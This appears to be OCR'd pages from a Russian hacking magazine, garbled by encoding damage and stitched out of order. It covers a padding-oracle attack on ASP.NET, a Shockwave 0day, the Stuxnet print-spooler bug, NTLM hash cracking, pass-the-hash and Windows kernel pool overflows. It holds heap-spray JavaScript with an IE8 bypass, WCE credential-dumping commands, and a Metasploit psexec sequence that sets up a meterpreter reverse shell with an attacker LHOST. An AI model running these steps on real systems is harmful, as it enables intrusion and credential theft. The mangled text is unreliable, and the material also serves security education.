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Ubuntu — захват прав суперпользователя
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Разбивается на два блока по 8 байт.

+-----------------------+-----------------------+

|        BLOCK 1        |   BLOCK 2             |

+-----------------------+-----------------------+

| C| h| y| p| h| e| r| t| e| x| t|05|05|05|05|05|

+-----------------------+-----------------------+

|01|02|03|04|05|06|07|08|09|10|11|12|13|14|15|16|

+-----------------------+-----------------------+

Второй блок дополняется до 8 байт значением, равным размеру 
выравнивания. При этом шифрование выполняется со связью блоков. 
Каждый следующий блок шифруется в зависимости от результата 
шифрования предыдущего блока. Такая связь называется CBC.

IV - âåêòîð èíèöèàëèçàöèè

C(0) = IV

C(i) = E( P(i) xor C(i-1) )

С(0), нулевой блок — это значение вектора. Затем шифруется первый 
блок, который побайтово «проксорен» с вектором. Второй блок с 
паддингом «ксорится» с первым зашифрованным блоком и затем 
шифруется. Расшифровка — обратный процесс:

IV — âåêòîð èíèöèàëèçàöèè

C(0) = IV

P(i) = D( C(i) ) xor C(i-1)

P(i) = P(i) xor C(i-1) xor C(i-1)

P(i) = P(i)

Штука в том, что атакующий, зная ответы от оракула, может подобрать 
любое правильно зашифрованное значение за приемлемое время (30 
минут). Для этого алгоритм, который используется для расшифровки, 
применяется и для шифрования. Исследователи назвали этот метод 
CBC-R. Механизм связки через XOR позволяет зашифровать любое 
значение, какое угодно. В случае с ASP .NET этим значением может 
быть web.config (чтобы получить к нему доступ). Для этого атакующему 
достаточно выбрать любой шифр-блок, подобрать для него открытый 
текст с помощью побайтового перебора и подсказок оракула. Когда 
такой блок будет готов, он может выбрать такой IV, чтобы при операции 
XOR  с IV получался такой текст, какой хотелось бы атакующему. После 
этого можно подбирать следующий блок согласно CBC-связи. Под-
робнее об оракуле, его подсказках и переборе читай тут: gdssecurity.
com/l/b/2010/09/14/automated-padding-oracle-attacks-with-
padbuster/. В любом случае, реализованы готовые тулзы, которые все 
это делают в автоматизированном режиме: POET, padBuster.pl и т.д.

 SOLUTION 

Фикс от Microsoft уже готов. В любом случае не мешает сделать вывод 
об ошибках менее информативным. Кроме того, код ошибки 500 
также дает атакующему подсказку. На самом деле атакующий может 
ориентироваться и по времени отклика, так что патч — самое верное 
решение :).

ВЫПОЛНЕНИЕ ПРОИЗВОЛЬНОГО 
КОДА В ADOBE SHOCKWAVE

 CVE 

N/A

ВЗЛОМ

03

Оракул дает подсказки

Формат DIR. rscL-блок и данные, влияющие на EAX
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 TARGETS 

• Shockwave Player 11.5.8.612

 BRIEF 

Товарищи из секьюрити-команды Abysssec опубликовали 0day для 
Adobe Shockwave. Да, вот так просто взяли и опубликовали. Конеч-
но, данный продукт не так популярен, как скажем, Flash или Acrobat 
Reader, но все же достаточно распространен. Что сделано, то сделано 
— раз эксплойт есть, то давай его и рассмотрим.

 EXPLOIT 

Данная бага связана с парсингом файлов формата «DIR». Этот фор-
мат базируется на формате «RIFF» и описывает контейнер с потоко-
выми мультимедиа-данными. Данный формат начинается с заголов-
ка «\x57\x46\x49\x52» — «XFIR» и последующей длины файла. После 
этого идут блоки данных; один за другим, каждый блок начинается с 
четырехбайтного идентификатора, размера блока и данных. Вот при-
мер идентификаторов: «tSAC», «pami»,«rcsL». Уязвимость кроется 
как раз в обработке некоторых «rcsL»-блоков. Результат фаззинга по 
блокам показал, что в некоторых случаях Shockwave просто падает. 
Анализ показал, что при обработке «rcsL»-блока с кривыми данными 
можно «влиять» на регистр EAX, который используется для вычисле-
ния динамического указателя в куче:

0x68122A42    mov     eax, [esp+18h+arg_4]    

 ; áåðåì EAX èç DIR ôàéëà

0x68122A42    mov     edx, [esi+28]

0x68122A42    mov     [esi+0A4], eax

0x68122A42    mov     dword ptr [esi+20], 80000001

0x68122A42    mov     ecx, [edx]

0x68122A42    lea     eax, [eax+eax*2]        ; ãðóçèì àäðåñ,

Adobe Shockwave. Динамический указатель

Adobe Shockwave. Выполнение произвольного кода
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0x68122A42    push    esi

0x68122A42    call    dword ptr [ecx+eax*8+20] 

 ; ñ÷èòàåì óêàçàòåëü

В итоге адрес, по которому происходит вызов, находится в районе 
«теоретического» расположения HeapSpray. Другими словами, 
ecx+eax*8+20 будет указывать на NOP-блок перед шеллкодом из кучи 
(HeapSpray поможет расположить его, где надо). Так как call идет по 
ссылке, то в NOP-блоке должен быть не только NOP, но и указатель. 
Для этого в качестве NOP-блока используется последовательность 
0x0A0A0A0A. Тогда CALL возьмет этот адрес и передаст по нему 
управление, и оператор 0x0A0A будет интерпретироваться уже как or 
"cl, dword ptr [edx]". Таким вот образом атака на указатель приводит к 
выполнению произвольного кода.

 SOLUTION 

От 0day только один выход — отключить плагин или вовсе удалить 
Adobe Shockwave.

ВЫПОЛНЕНИЕ ПРОИЗВОЛЬНОГО 
КОДА В ДИСПЕТЧЕРЕ СЛУЖБЫ 
ПЕЧАТИ

 CVE 

CVE-2010-2729

 TARGETS 

• Windows XP
• Windows 2003
• Windows 2008
• Windows 7

 BRIEF 
Всем известный червь Stuxnet таил в своем чреве несколько 0day-
уязвимостей. Сегодня мы поговорим об одной такой баге, которую 
червь использовал для захвата соседних рабочих станций, нахо-
дящихся в одной сети с зараженной машиной. Ошибка кроется в 
службе печати ОС Windows, которая и позволяет удаленно выполнить 
произвольный код с правами системы.

 EXPLOIT 

Так как уязвимость кроется в службе печати, то для удаленной 
эксплуатации данной штуки необходимо, чтобы служба удаленной 
печати была включена. С помощью удаленного доступа к этой службе 
любой пользователь (имеющий права гостя), может получить права 
Системы и выполнить код. Для эксплуатации уязвимости исполь-
зуются специально сформированные запросы печати по протоколу 
RPC. Уязвимость эксплуатируется через вызов RpcStartDocPrinter, 
который говорит серверу, что для него есть кое-что на печать:

DWORD RpcStartDocPrinter(

[in] PRINTER_HANDLE hPrinter;

[in] DOC_INFO_CONTAINER* pDocInfoContainer;

[out] DWORD* pJobId

);

Второй параметр содержит указатель на структуру с описанием:

typedef struct _DOC_INFO_1 {

wchar_t* pDocName;

wchat_t* pOutputFile;

wchar_t* pDatatype;

} DOC_INFO_1

Эта структура контролируется атакующим (как входной параметр), и 
самое интересное тут — pOutputFile. Эта переменная может задавать 
имя выходного файла, который будет сохранен на уязвимой машине, 
причем расширение этого файла никак не контролируется, так что 
можно и .exe записать. После этого записываем данные в созданный 
.exe-файл на удаленном сервере:

DWORD RpcWritePrinter(

[in] PRINTER_HANDLE hPrinter,

[in] BYTE* pBuf,

[in] DWORD cbBuf,

[out] DWORD* pcWritten

Этот вызов отправит данные серверу по открытому де-
скриптору печати, что приведет к записи произвольного 
.exe-файла в системную директорию атакуемой машины 
(%SystemRoot%\system32). Теперь вопрос в том, как запус-
тить наш .exe-файл.
Для эксплойта в составе Metasploit знаменитый хакер ЭйчДи Мур 
(HD Moore) придумал использовать вызов NetrJobAdd, который 
добавляет задачу в планировщик на запуск созданного в system32 
файла. Вот такие дела. Разумеется, протестировать эксплойт мож-
но и в домашних условиях, ведь он уже в составе Metasploit.

 SOLUTION 

Данная уязвимость была оперативно пропатчена Microsoft (в 
отличие от других 0day, используемых Stuxnet, которые еще долго 
были не исправлены). Так что надеюсь, ты обновился.z

ВЗЛОМ

04

STUXNET АТАКУЕТ

Всего червь использовал шесть уязвимостей, из них пять 
уязвимостей в ОС Windows. Одна из этих баг — старая добрая 
дырка, используемая червем Confliker. Остальные же — насто-
ящие 0day. В обзоре мы уже говорили про LNK-эксплойт и 
ошибку в службе печати, но за кадром остались еще две уяз-
вимости, разреверсенные в исследовательской лаборатории 
ESET в Москве под началом Александра Матросова (eset.com/
resources/white-papers/Stuxnet_Under_the_Microscope.pdf). 
Уязвимости кроются в таск-менеджере и в win32.sys и позво-
ляют червячку поднять права до системных. Кроме того, одна 
уязвимость связана с SCADA от Siemens, а именно — содер-
жится в прошитом по умолчанию пароле для БД.

Stuxnet поставил на печать :). Скриншот из отчета компании ESET
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РЕШЕНИЕ:
Не секрет, что количество client-side-атак все увеличивается и увели-
чивается, поэтому надо задуматься и о своей безопасности. Мы с вами 
люди, конечно, прошаренные, но не всегда удается уследить за дырка-
ми и заплатками ко всему тому ПО, что стоит на домашних компах, осо-
бенно если это ОС из семейства Windows. Поэтому рекомендую такую 
классную вещь, как PSI от Secunia (secunia.com/vulnerability_scanning/
personal/).
Эта тулза мониторит установленное на твоем компе ПО на предмет 
известных уязвимостей. И если такое присутствует, дает ссылку на его 
обновление, либо исправление. Особое внимание уделено дыркам в 
браузерах, их плагинах, элементах ActiveX.
Конторе Secunia можно доверять: тулза знает большое количество само-
го распространенного ПО, а база уязвимостей содержит самую актуаль-
ную информацию (что приятно — иногда с точным описанием уязвимос-
тей). Подытожу: такое ПО можно добавить в джентельменский набор к 

антивирю и файеру. Да и обычным юзерам желательно его поставить: 
мозгов особо не нужно, а основные дырки все же будут закрыты.

ЗАДАЧА: ВНЕДРИТЬ HEAPSPRAY В 
INTERNET EXPLORER 8

РЕШЕНИЕ:
Несколько лет назад, до Explorer’а 8, было очень модно использовать 
технику хипспрея. В основном это делалось для создания живучих 
сплоитов, так как вне зависимости от системы мы знали, где находится 
шеллкод. Напомню, что хипспрей — это создание большого количества 
куч, заполненных NOP’ами с шеллкодом в конце. Мы создаем их так 
много, что забиваем всю память. А потому почти со 100% вероятностью 
можем утверждать, что если передать управление по адресу 0x0d0d0d0d, 
например, то попадем в нашу кучу, где сначала исполнится NOP-sled, а 
потом и наш шеллкод. Сами кучи, в основном, создавались посредством 
следующего JavaScript-кода:

//Shellcode â ïåðåìåííóþ:

var shell = unescape("êàêîé-òî_øåëëêîä");

//NOPû:

var bigbk=unescape("%u9090%u9090%u9090%u9090");

while(bigbk.length<0x50000) bigbk=bigbk+bigbk;

//Ñîçäàåì êó÷è

var mem=new Array(); 

for(i=0; i<400;i++) {mem[i]=bigbk+shell;}

Но в Internet Explorer 8 люди из Майкрософта создали защиту от хип-
спрея на JS. Это стало одной из причин появления и распространения 
всяческих JIT-spray техник на основе Flash’а, Java, .NET-технологий, 
о которых можно было прочесть в прошлых номерах в статьях Алексея 
Синцова.
Однако не так давно Dave Aitel из компании IMMUNITY показал, как 
можно обойти защиту от хипспрея в IE8. А именно:
 
//Ñîçäàåì êó÷è

var h1=new Array();

h1[0] = bigbk + shell;

for (var i = 1 ; i < 300 ; i++) {

 h1[i] = h1[0].substring(0,h1[0].length )

}

За это честь ему и хвала :).
Более конкретных примеров приводить не буду, так как лучше посмот-
реть «вживую». А именно — в видеоролике к статье из прошлого номера 
про банк-клиенты за авторством все того же Алексея Синцова.

ЗАДАЧА: АВТОМАТИЗИРОВАННЫЙ 
ПОИСК УЯЗВИМОСТЕЙ 
В СЕТКЕ

РЕШЕНИЕ:
Вернемся к олдскулу. Лет 10 назад всевозможные сканеры уязвимостей 
(Nessus, Retina, Xspider, etc.) были очень распространены, очень модны. 

Много ПО — много уязвимостей 

ЗАДАЧА: ОРГАНИЗОВАТЬ КОНТРОЛЬ 
УЯЗВИМОГО ПО ПОД WINDOWS

¹ 2

¹ 3

Easy Hack
Хакерские
секреты 
простых 
вещей 

¹ 1
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Большая часть «взломов» заключалась в сканировании подсетки ка-
ким-нибудь из них, нахождению сплоита под обнаруженную узявимость 
и эксплуатацию его. В общем-то, изменилось немногое :). Разве что ПО 
стало «покрепче», а народ в массах перешел на взлом сайтов.
Куча проектов зародилось в те времена, но только несколько дожили до 
наших дней. Правда, теперь это в основном высококлассное платное 
ПО.
Хотя к взлому это имеет косвенное отношение: использование сканеров 
уязвимостей типа Nessus — достаточно «шумный» процесс. Но если ты 
находишься на светлой стороне, то можешь  найти уязвимости в под-
властной тебе сетке и радоваться этому :). Хотя и для другой стороны есть 
свои бонусы. Можно, например, смоделировать вражескую подсетку или 
отдельные хосты с сервисами и натравить на них сканер. А выявленные 
уязвимости уже вручную попробовать реализовать на жертве. Все-таки 
базы уязвимостей у сканеров очень приличные.
Как уже было написано выше, продукты в основном платные. Но есть 
пара вариантов. К примеру, можно попробовать такой классический 
вариант, как Nessus (tenable.com/nessus/).
Имеется версия, немного урезанная для «домашнего использования» 
(эх, а раньше был опенсорсным :)). Сам Nessus модульный и имеет кли-
ент-серверную архитектуру. Основной функционал несут плагины.
Ставится сканер очень просто: 

1) Óñòàíàâëèâàåì ñåðâàê;

2) Çàïóñêàåì Nessus Server Manager è ïðîïèñûâàåì êëþ÷, 

âûäàííûé íà ñàéòå ïîñëå ïðîõîæäåíèÿ ðåãèñòðàöèè;

3) Òàì æå ïðîïèñûâàåì ïîëüçîâàòåëåé;

4) Êîííåêòèìñÿ íà https://localhost:8834/.

Далее требуется создать и настроить профиль для сканирования 
(policies), потом уже можно сканировать(scans). Итоги — в Reports.
Прога в основе простая, но имеет широкие возможности по настройке. И 
чтобы не потеряться, имеется хорошая документация и набор видеоро-
ликов на сайте производителя.
Интересно будет всем, хотя бы побаловаться. 
В общем, строим пентест-лабораторию, ставим сканер и повышаем свои 
скиллы :).

ЗАДАЧА: ПОИСК ВЗАИМОСВЯЗАННЫХ 
САЙТОВ

РЕШЕНИЕ:
Сбор информации о жертве — дело важное, с этим вряд ли кто-то поспо-
рит. Когда цель — небольшой сайт, то проблем особых нет. Пробежался 
ручками по сайту, его «соседям» и по его «возможностям»; просканил 
spider’ом структуру; нашел хостинг, да CMS’ку — и дело в шляпе. Основные 
направления возможных векторов атаки  у нас в руках.
Но когда «работаешь» с чем-то более крупным, дело достаточно 
сильно усложняется. Особенно если требуется не просто найти 
какую-то одну уязвимость и влезть через нее, а рассмотреть все 
возможные пути причинения ущерба ресурсу. Либо в ситуациях, 
когда основной сайт достаточно хорошо защищен, попытаться 
«залезть» через его «соседей». Под «соседями» здесь понимаются 
ресурсы, которые каким-либо образом взаимосвязаны с нашей 
целью, будь то бизнес-отношения, либо технические (обмен контен-
том, например).
Большая часть действий производится с минимальной автоматизацией. 
Для понимания взаимоотношений между сайтами нужен мозг :). Но чтобы 
не лазить по просторам сайтов впустую и не тратить драгоценное время, 
есть один наборчик, который может нам помочь.
Небезызвестная компания Sensepost еще 6 лет назад представила 
набор скриптов на Perl’е для сбора информации о ресурсах — BiLE-suite 

(sensepost.com/cms/resources/labs/tools/misc/BiLE-suite.tgz). Сейчас 
набор входит и в платный пакет BiDiBLAH.
BiLE-suite включает в себя разнообразные тулзы, большая часть которых 
связана с работой с DNS. Но есть пара под нашу задачу — BiLE.pl и BiLE-
weigh.pl.
Суть заключается в том, что сначала первый скрипт, используя 
запросы в гугле в стиле «link:», находит сайты, ссылающиеся на 
нашу жертву. Потом, сканируя структуру нашей жертвы, находит все 
исходящие ссылки. А с помощью BiLE-weigh определяются весовые 
коэффициенты, указывающие на взаимосвязанность сайтов между 
собой. Причем последний скрипт дает оценку не просто по коли-
честву ссылок между сайтами; учитывается и то, ссылаются ли они 
друг на друга или только «в одну сторону», и какое общее количество 
исходящих ссылок на конечных сайтах (чтобы снизить оценку ново-
стным порталам).
Для работы скрипта требуется HTTrack (httrack.com/page/2/en/index.html). 
HTTrack — это оффлайн-браузер, с помощью которого BiLE скачивает 
сайты и потом уже парсит их, доставая ссылки.
HTTrack есть и под Win, и под *nix’ы. Скрипты BiLE-suite заточены под ник-
сы, но поработав напильником, можно заставить их работать и под виндой.
Мне скрипты понравились, я себе на BackTrack4 поставил. 
Итак, сначала ставим HTTrack:

#tar xvfz httrack-3.43-9C.tar.gz

#./configure && make && su -c 'make install'

Пучок разнообразных уязвимостей на одном из хостов 
в подсетке

У Nessus’а очень много плагинов
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На сайте написано, что можно поставить webhttrack с репозитория, но 
там не та версия, которая требуется. Далее пришлось подкорректировать 
BiLE-weigh.pl:

Çàìåíÿåì:

`cat temp | sort -r -t ":" +1 -n > @ARGV[1].sorted`;

Íà:

`cat temp | sort -r -t ":" --key=2  > @ARGV[1].sorted`;

Возможно, также придется подкорректировать переменную $mc в 67 
строке в BiLE.pl. Например, убрать скачку swf-файлов, которые для нас 
бессмысленны, или указать полный путь до HTTrack для работы под Win.
Пример использования BiLE по сайту backtrack-linux.org:

perl BiLE.pl www.backtrack-linux.org BT  

Где www.backtrack-linux.org — название анализируемого ресурса;
BT — название итогового файла.
Если точнее, то будет BT.mine и BT.warus, но последний ни для чего не 
используется.
Запускаем определение и сортировку весовых коэффициентов:

perl BiLE-weigh.pl www.backtrack-linux.org BT.mine    

В итоге мы получим BT.mine.sorted. То есть список взаимосвязанных сай-
тов в порядке убывания, по которым и начинаем ползать ручками :).

ЗАДАЧА:ВЫНУТЬ ПАРОЛЬ ИЗ NTLM/LM-
ХЕША

РЕШЕНИЕ:
Издревле одной из основных целей взлома являлось получение админ-
ского доступа к хосту. И если отбросить все, то данный доступ подразу-
мевает знание админского пароля. Откуда же его получить? Способов 
масса :). Но сегодня мы поговорим о том, как вынимать их прямо из ОС. А 
точнее, о Windows-системах с их LSA- и SAM-хранилищами. 
Я думаю, всем известно, что Windows не хранит пароли в открытом виде. 
Он их в NTLM и LM-хешах хранит. По сути, это MD4 и DES-хеш соответс-
твенно. 
Как понятно, доступ к LSA- и SAM-хранилищам (есть еще места) 
простым смертным закрыт. Но хорошие дяди в разноцветных шапках 
написали кучку тулз, чтобы вынуть хешики из того или иного места. 
Жаль, что для большей части этих тулз требуются высокие привилегии 
из-за необходимости использования техники DLL-инжекта, а имен-
но — SeDebugPrivilege. Кроме этого хеши можно получить с помощью 
снифферов. 

На самом деле проблем, связанных с безопасностью у NTLM’а, как про-
токола, достаточно много. Причем они настолько глубоки, что не имеют 
простых решений в данной реализации (точнее, реализациях) протокола.
Но перейдем к делу. Предположим, мы влезли в систему под управлени-
ем ОС Windows и сдампили хеши, используя тулзу pwdump, например, 
или проснифали NTLM-хеш с challenge’ем, используя модуль smb_sniff 
из Metasploit’a (см. майский номер журнала). Что с ними делать дальше? 
Методов несколько, но для примера пробрутфорсим с помощью такой 
чудо-проги, как Cain&Abel (oxid.it/cain.html).
Все, что нам требуется — подгрузить хеши в прогу (вкладка Cracker) и 
выбрать метод перебора:

1) Ïðÿìîé ïåðåáîð;

2) Ïî ñëîâàðþ;

3) Ïî ðàäóæíûì òàáëèöàì.

Далее можно начинать перебор. Если доступен LM-хеш, то лучше 
начать с него. Так как он, во-первых, регистронезависмый, умень-
шается набор символов для перебора. А, во-вторых, состоит из двух 
частей по 7 символов, каждый из которых можно брутить отдельно. 
Причем пароль дополняется нулями, если он меньше 14 символов. 
Поэтому, найдя кусок из второй части, можно уже более нацелено 
подойти к подбору первой. Все это существенно ускоряет процесс 
перебора. После этого можно перебрать NTLM-хеш, определив тем 
самым регистр найденного пароля. C LM-хешами есть пара важных 
моментов: 

• Íà÷èíàÿ ñ Âèñòû, LM-õåøè íå ãåíåðÿòñÿ äëÿ ïîëüçîâàòå-

ëåé;

• Åñëè ïàðîëü äëèííåå 15 ñèìâîëîâ, òî åãî íåëüçÿ âîññòà-

íîâèòü èç LM-õåøà;

• Áîëüøèíñòâî òóëç ïî ïîäáîðó íåêîððåêòíî ðàáîòàþò ñ 

ðóññêîé êîäèðîâêîé cp866.

Думаю, с настройками перебора в Cain’е проблем возникнуть не должно 
(см. рисунок): 

• Âûáèðàåì òèï ïåðåáîðà;

• Òèï õåøà;

• Ñëîâàðü èëè àëôàâèò äëÿ ïåðåáîðà.
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Pass The Hash через Metasploit Framework

ЗАДАЧА: ПОЛУЧАЕМ АДМИНСКИЕ 
ПРАВА ПОД WINDOWS БЕЗ БРУТА NTLM/
LM-ХЕШЕЙ

РЕШЕНИЕ:
Я продолжу предыдущую тему, но несколько в другом контексте. Пасс админа 
— вещь, конечно, прекрасная, но цель наша — все-таки админский доступ. 
К тому же, если говорить о доменном админе, то до его прав или хешей во 
многих случаях получается добраться постепенно. А начинается это, чаще 
всего, с компа какой-нибудь бесправной секретарши. Потом — права какого-
нибудь саппорта, админские и т.д.  Хеши — это конечно прекрасно, но брутить 
все подряд — дело долгое. К нашей радости, все в том же протоколе NTLM, в 
обеих его реализациях, есть большая дырка. Для аутентификации доста-
точно знать только хеш пользователя. То есть даже брутить ничего не надо. 
Достал хеш — и можешь лазить по сетке с правами скомпрометированного 
юзера :). Техника тоже очень старая, в теории существующая аж с 1997 года. 
Название — Pass The Hash. По факту очень юзабельна. Тулз для реализации 
несколько.
Я опишу две. От «создателя» техники — Hernan Ochoa  (oss.coresecurity.
com/pshtoolkit/doc/index.html и hexale.blogspot.com) и модуль, входящий в 
состав Metasploit.
Не так давно pshtoolkit был переработан и теперь называется WCE: 
Windows Credentials Editor (www.ampliasecurity.com/research/wce_
v1.0.tgz). Не обращай внимание на «странное» расширение — в архиве 
обычный ехе’шник.
Итак, основные возможности WCE.
Для начала можно вынуть NTLM/LM-хеши из памяти.

Òî, ÷òî â ïàìÿòè:

>wce.exe –l

Ïîñëå êàæäîãî logon’à:

>wce.exe –e

Êàæäûå 10 ñåêóíä:

>wce.exe –r10

Çàïèñàòü èòîã â ïàìÿòü:

>wce.exe –o ntlms.txt

Далее — добавить/удалить хеши в память, модификация данных по сессиям:
  
> wce.exe -s user:Victim:1F27ACDE849935B0AAD3B435B5140

4EE:579110C4914

5015C47ECD267657D3174 -c "c:\Program Files\Internet 

Explorer\iexplore.exe"

Где -s «добавляет» нового пользователя с именем «user», доменом 
«Victim» и последующим LM- и NTLM-хешем, а -с указывает, какую про-
грамму следует запустить под этим пользователем (в примере — Провод-
ник).
В Metasploit’е, как обычно, все делается быстро и просто. 

Çàïóñêàåì ìîäóëü äëÿ âûïîëíåíèÿ pth:

msf>use exploit/windows/smb/psexec

Íàãðóçêà — ìåòåðïðåòåð è ñâîé IP äëÿ áåêêîííåêòà:

msf>set PAYLOAD windows/meterpreter/reverse_tcp

msf>set LHOST 192.168.146.129

Óêàçûâàåì íàøó æåðòâó:

msf>set RHOST 192.168.0.101

Èìÿ ïîëüçîâàòåëÿ, îò êîòîðîãî áóäóò âûïîëíÿòüñÿ êîìàíäû:

msf>set SMBUser Àäìèíèñòðàòîð

È åãî "LM:NTLM" õåøè:

msf>set SMBPass 1F27A…….04EE:579…….2676

Çàïóñêàåì àòàêó:

msf>exploit

В итоге получаем доступ к хосту с правами пользователя через Meterpreter. 
z

Если же пасс получен из сниффера, то тип выбирается с пометкой 
Challenge. У smb_relay сhallenge равен «1122334455667788».
Но если приходится часто сталкиваться с перебором, особенно по боль-
шим алфавитам, то желательно воспользоваться «радужными таблица-
ми» (rainbow tables). Поскольку за пару абзацев идею не донести, читай 
статейку habrahabr.ru/blogs/algorithm/82941/, а также гугл в помощь. А для 
приближенного понимания  — суть в том, что в таблицах уже просчита-
ны и специальном образом свернуты хеши для большого количества 
паролей.
Таблицы достаточно крупные по своим размерам, генерятся достаточ-
но долго, но оправдываются высокой скоростью нахождения пассов в 
дальнейшем.

Достать их можно либо в Сети (ищи на торрентах), либо купив, либо сге-
нерив на дому. Для генерации таблиц можно использовать либо rtgen.exe 
из набора RainbowCrack (project-rainbowcrack.com/index.htm), либо 
используя winrtgen.exe из Cain’а. Но у последней, опять же, траблы с 
русским языком.
Брутфорсить по полученным таблицам лучше с помощью RainbowCrack. 
Кстати, есть мнение, что добавление соли (salt) к паролю при использо-
вании хеш-функций (как, например, это делается на многих форумах) 
не дает возможность использовать радужные таблицы для перебора. 
Это не так. Проблема заключается лишь в том, что нужно будет создать 
радужные c этой солью. Поэтому есть таблицы и для NTLM-, и для 
NTLM+challenge-хешей.

Прав на удаленную папку нет. Запускаем проводник по 
хешу юзера с соседнего компьютера — теперь доступ 
есть
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Актуальность проблемы  
Технология Memory Management является одной из самых важных 
в работе ядра. Уязвимости этого механизма, пожалуй, также самые 
страшные и, в то же время, актуальные. Они и являются основным 
стимулом для создания всяких разных видов защиты, таких как 
safe unlinking. В этой статье будут детально рассмотрены некоторые 
аспекты, как теоретические, так и практические, по эксплуатации 
динамического переполнения памяти ядра.  Для начала я покажу 
пальцем на самых ярких представителей уязвимостей этой касты.

ms08-001 - IGMPv3 Kernel Pool Overflow — óäàëåííîå 

ïåðåïîëíåíèå â tcpip.sys;

ms09-006 — óÿçâèìîñòü â îáðàáîòêå îïðåäåëåííûõ çàïèñåé 

wmf/emf, ñâÿçàííàÿ ñ áðåøüþ â win32k.sys;

ms10-058 — integer overflow óÿçâèìîñòü, âåäóùàÿ ê 

ïåðåïîëíåíèþ ïóëà â tcpip.sys.

Обзор распределения 
памяти ядром
Как в любой уважающей себя операционной системе, Windows (а 
точнее говоря, ее ядро) предоставляет некоторые функции для выде-

ления/освобождения памяти. Виртуальная память состоит из блоков, 
называемых страницами. В архитектуре Intel x86 размер страницы 
составляет 4096 байт. Однако большинство запросов на выделение 
памяти меньше объема страницы. Поэтому функции ядра, такие как 
ExAllocatePoolWithTag и ExFreePoolWithTag, резервируют неиспользу-
емую память для последующего ее выделения. Внутренние функции 
напрямую взаимодействуют с железом каждый раз, когда страница 
задействована. Все эти процедуры достаточно сложны и деликатны, 
вот почему они реализованы именно в ядре.

Различия между 
Paged и NonPaged pool
Память ядра системы делится на два различных пула. Этот финт был 
придуман для выделения наиболее часто используемых блоков памя-
ти. Система должна знать, какие страницы наиболее востребованы, а 
от каких можно временно отказаться (логично, правда?). Paged pool 
может быть сохранен в оперативной памяти или вытеснен в файло-
вую систему (swap). NonPaged pool используется для важных задач, 
существует только в оперативной памяти и для каждого уровня IRQL.
Файл pagefile.sys содержит paged-память. В недалеком прошлом 
он уже становился жертвой атаки, в ходе которой неподписан-

  ßäðî âèíäû âñåãäà áûëî ëàêîìûì êóñî÷êîì äëÿ õàêåðà, îñîáåííî ïðè 
íàëè÷èè çàêîí÷åííûõ ìåòîäèê åãî ýêñïëóàòèðîâàíèÿ, ïðèâîäÿùèõ 
ê ïîâûøåíèþ ïðàâ. Ó÷èòûâàÿ òîò ôàêò, ÷òî çà ïîñëåäíèå íåñêîëüêî ëåò 
êîëè÷åñòâî óÿçâèìîñòåé, ñâÿçàííûõ ñ ïåðåïîëíåíèåì äèíàìè÷åñêîé 
ïàìÿòè ÿäðà, ðåçêî âîçðîñëî, ÿ àêòèâíî çàèíòåðåñîâàëñÿ äàííûì 
íàïðàâëåíèåì è, ê ñîáñòâåííîìó óäèâëåíèþ, â êîíå÷íîì èòîãå íàêîïàë 
ñòîëüêî ìàòåðèàëà, ÷òî åãî õâàòèò íå íà îäèí 0day-áàã.
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ный код внедрялся в ядро Vista. Среди обсуждаемых 
решений было предложено отключить paged-память. 
Джоанна Рутковска рекламировала такое решение 
как более безопасное по сравнению с другими, хотя 
следствием этого стала небольшая потеря физической 
памяти. Microsoft отказывается от прямого доступа к 
диску, что подтверждает важность таких возможно-
стей ядра Windows, как Paged- и NonPaged-пулы. Эта 
статья написана с упором на NonPaged pool, так как 
обработка Paged-Pool происходит совершенно иначе. 
NonPaged pool можно рассматривать как более ли 
менее типичную реализацию heap. Подробная инфор-
мация о системных пулах доступна в Microsoft Windows 
Internals.

Таблица NonPaged pool
Алгоритм выделения должен быстро распределять наи-
более часто используемые объемы. Поэтому существу-
ют три разные таблицы, каждая из которых выделяет 
память определенного диапазона. Такую структуру я 
обнаружил в большинстве алгоритмов управления 
памятью. Считывание блоков памяти с устройств зани-
мает некоторое время, поэтому в алгоритмах Windows 
происходит балансировка между скоростью ответа и 
оптимальным выделением памяти. Время ответа сокра-
щается, если блоки памяти сохраняются для после-
дующего выделения. С другой стороны, избыточное 
резервирование памяти может сказаться на произво-
дительности.
Таблица представляет собой отдельный способ хранения 
блоков памяти. Мы рассмотрим каждую таблицу и ее 
местоположение.
NonPaged lookaside — таблица, назначаемая каждому 
процессору и работающая с объемами памяти, менее или 
равными 256 байт. У каждого процессора есть контроль-
ный реестр (PCR), хранящий служебные данные про-
цессора — уровень IRQL, GDT, IDT. Расширение реестра 
называется контрольным регионом (PCRB) и содержит 
lookaside-таблицы. 
Lookaside-таблицы предоставляют наиболее быстрое 
считывание блоков памяти по сравнению с другими 
типами. Для такой оптимизации очень важно время 
задержки, а односвязный список (который реализован в 
Lookaside) тут намного эффективнее, чем двухсвязный. 
Функция ExInterlockedPopEntrySList используется для 

выбора записи из списка с использованием аппарат-
ной инструкции «lock». PPNPagedLookasideList и есть 
вышеупомянутая Lookaside-таблица. Она содержит 
два Lookaside-списка: P и L. Поле «depth» структуры 
GENERAL_LOOKASIDE определяет, как много записей 
может находиться в списке ListHead. Система регулярно 
обновляет этот параметр, используя различные счетчики. 
Алгоритм обновления основан на номере процессора и 
не одинаков для P и L. В списке P поле «depth» обновля-
ется чаще, чем в списке L, потому что P оптимизирован 
под очень маленькие блоки.
Вторая таблица зависит от числа процессоров 
и того, как ими управляет система. Данный спо-
соб выделения памяти будет использоваться, 
если объем менее или равен 4080 байт, или если 
lookaside-поиск не дал результатов. Даже если 
целевая таблица меняется, у нее будет та же струк-
тура POOL_DESCRIPTOR. В случае единственного 
процессора используется переменная PoolVector 
для считывания указателя NonPagedPoolDescriptor. 
В случае многих процессоров, таблица 
ExpNonPagedPoolDescriptor содержит 16 слотов 
с описаниями пулов. PCRB каждого процессора 
указывает на структуру KNODE. Узел может быть 
связан с более чем одним процессором и содер-
жит поле «color», используемое как список для 
ExpNonPagedPoolDescriptor. Ниже приведен рису-
нок, иллюстрирующий этот алгоритм.
Ядро определяет глобальную переменную 
ExpNumberOfNonPagedPools, если данная таблица 
используется несколькими процессорами. Она должна 
содержать количество процессоров.
Дамп WinDbg отображает структуру POOL_DESCRIPTOR 
(см. иллюстрацию). В очереди spinlock'ов реа-
лизована синхронизация; часть библиотеки HAL 
используется для предотвращения конфликтов в 
дескрипторе пула (pool descriptor). Эта процеду-
ра позволяет только одному процессору и одной 
нити получать одновременный доступ к записи из 
дескриптора пула. Библиотека HAL различается на 
разных архитектурах. Для дескриптора пула по умол-
чанию главный NonPaged spinlock заблокирован 
(LockQueueNonPagedPoolLock). А если он не забло-
кирован, то для него создается отдельная очередь 
spinlock.
